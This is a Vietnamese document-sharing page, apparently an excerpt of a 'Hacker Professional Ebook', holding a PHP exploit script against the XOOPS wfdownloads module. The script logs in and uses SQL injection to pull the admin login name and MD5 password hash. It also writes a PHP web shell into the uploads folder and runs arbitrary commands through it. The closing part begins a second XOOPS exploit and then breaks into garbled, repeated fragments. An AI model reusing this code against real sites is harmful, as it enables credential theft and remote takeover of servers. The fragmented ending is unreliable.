1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 441 pot

6 68 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 6
Dung lượng 19,57 KB

Nội dung

} for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>&nbsp&nbsp</td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy '; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port." <br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy <br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket "; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy '; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy <br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy '; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>"")) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW=" / /www";} #default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for #different installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($table_prefix=='') {$table_prefix="fXZtr_";} $action=strtoupper($action); if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action "; die;} if ($action=="CMD"){if ($command==""){echo "specify a command "; die;}} # STEP 1 -> Login to retrieve a session cookie, bypass referrer check $data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=lo gin"; $packet="POST ".$p."user.php HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile% 2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3 f806816476461a96e18c28044414\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; echo '<br>Your cookie: '.htmlentities($cookie); if ($action=='HASH'){ # STEP 2a -> Disclose Admin MD5 password hash $SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM "; $SQL.=$table_prefix."users WHERE level=5/*"; $SQL=urlencode($SQL); $packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('<span class="itemTitle">',$html); $temp2=explode('</span>',$temp[1]); echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>'; $temp=explode('<div style="margin-left: 6px;" align="justify">',$html); $temp2=explode('</div>',$temp[2]); echo "MD5 HASH: ".$hash=$temp2[0].'<BR>'; } else if ($action=='CMD'){ # STEP 3a -> Inject a shell through a query $SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>"; $SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO"; $SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*"; $SQL=urlencode($SQL); $packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); # STEP 3b -> Launch commands $packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded ";} else {echo "<br>Exploit Failed ";} } } else {echo "Fill * requested fields, optionally specify a proxy ";} ?> Xoops <= 2.0.13.2 xoopsOption[nocommon] Remote Exploit Code: #!/usr/bin/php -q -d short_open_tag=on <? echo "XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploit\r\n"; . $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy <br>'; $result = socket_connect($socket, $parts[0],$parts[1]);. die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy <br>'; $ock=fsockopen($parts[0],$parts[1]); if. http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile% 2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3 f806816476461a96e18c280 44414 "; $packet.="Content-Type: application/x-www-form-urlencoded "; $packet.="Content-Length:

Ngày đăng: 04/07/2014, 12:20

TÀI LIỆU CÙNG NGƯỜI DÙNG

  • Đang cập nhật ...

TÀI LIỆU LIÊN QUAN